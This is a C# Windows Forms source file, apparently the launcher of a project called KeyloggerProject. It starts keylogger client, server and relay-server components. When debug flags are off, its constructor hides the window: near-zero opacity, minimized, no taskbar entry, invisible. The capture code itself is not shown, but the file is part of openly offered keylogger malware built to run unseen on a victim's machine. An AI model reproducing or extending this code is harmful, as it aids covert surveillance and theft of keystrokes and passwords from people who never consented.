﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using KeyloggerProject.KlientKeyloggera;
using KeyloggerProject.KomponentyWspolne;

namespace KeyloggerProject
{
    class Runer:Form
    {
        static Runer thiss = null;
        Klient K;
        Serwer S;
        SerwerPosredni SP;
        

        private Button button1;
        private Timer timer1;
        private System.ComponentModel.IContainer components;
        private RichTextBox richTextBox1;

        public Runer(bool k, bool s, bool sp, bool dk, bool ds, bool dsp)
        {
            thiss = this;
            Configuration.Load();
            if (dk == false && ds == false && dsp == false)
            {
                AutoValidate = AutoValidate.Disable;
                CausesValidation = false;
                ControlBox = false;
                Enabled = false;
                ImeMode = ImeMode.Off;
                Opacity = 0.1000001;
                WindowState = FormWindowState.Minimized;
                ShowIcon = false;
                ShowInTaskbar = false;
                SizeGripStyle = SizeGripStyle.Hide;
                FormBorderStyle = FormBorderStyle.None;
                Visible = false;
                TopMost = false;
            }
                InitializeComponent();
            if (sp == true)
            {
                SP = new SerwerPosredni(dsp);
                SP.Show();
            }
            if (s == true)
            {
                S = new Serwer(ds);
            }
            if (k == true)
            {
                K = new Klient(dk);
                K.Show();
            }
            
            
        }
        private void InitializeComponent()
        {
            this.components = new System.ComponentModel.Container();
            this.button1 = new System.Windows.Forms.Button();
            this.richTextBox1 = new System.Windows.Forms.RichTextBox();
            this.timer1 = new System.Windows.Forms.Timer(this.components);
            this.SuspendLayout();
            // 
            // button1
            // 
            this.button1.Location = new System.Drawing.Point(19, 257);
            this.button1.Name = "button1";
            this.button1.Size = new System.Drawing.Size(75, 23);
            this.button1.TabIndex = 3;
            this.button1.Text = "Clear";
            this.button1.UseVisualStyleBackColor = true;
            this.button1.Click += new System.EventHandler(this.button1_Click);
            // 
            // richTextBox1
            // 
            this.richTextBox1.Location = new System.Drawing.Point(19, 13);
            this.richTextBox1.Name = "richTextBox1";
            this.richTextBox1.Size = new System.Drawing.Size(560, 238);
            this.richTextBox1.TabIndex = 2;
            this.richTextBox1.Text = "";
            // 
            // timer1
            // 
            this.timer1.Enabled = true;
            this.timer1.Interval = 1000;
            this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
            // 
            // Runer
            // 
            this.ClientSize = new System.Drawing.Size(591, 287);
            this.Controls.Add(this.button1);
            this.Controls.Add(this.richTextBox1);
            this.Name = "Runer";
            this.ResumeLayout(false);

        }
        
        private delegate void Delegacja();
        private void InvObiect(string param2)
        {
            if (this.InvokeRequired)
            {
                this.Invoke((Delegacja)delegate
                {
                    richTextBox1.Text += param2;
                });
            }
        }
        public static void AddText(string text)
        {
            if (thiss!=null&&thiss.IsDisposed == false)
            {
                thiss.richTextBox1.Text += text + "\n";
            }
        }
        public static void AddException(string msg,Exception ex)
        {
            if (thiss != null && thiss.IsDisposed == false)
            {
                thiss.richTextBox1.Text += msg+ex.ToString() + "\n";
            }
        }
        private void button1_Click(object sender, EventArgs e)
        {
            richTextBox1.Clear();
        }

        private void timer1_Tick(object sender, EventArgs e)
        {
            if ((K != null && K.IsDisposed == true)||(S!=null && S.IsDisposed==true)||(SP!=null&&SP.IsDisposed==true))
            {
                this.Close();
            }
        }
    }
}
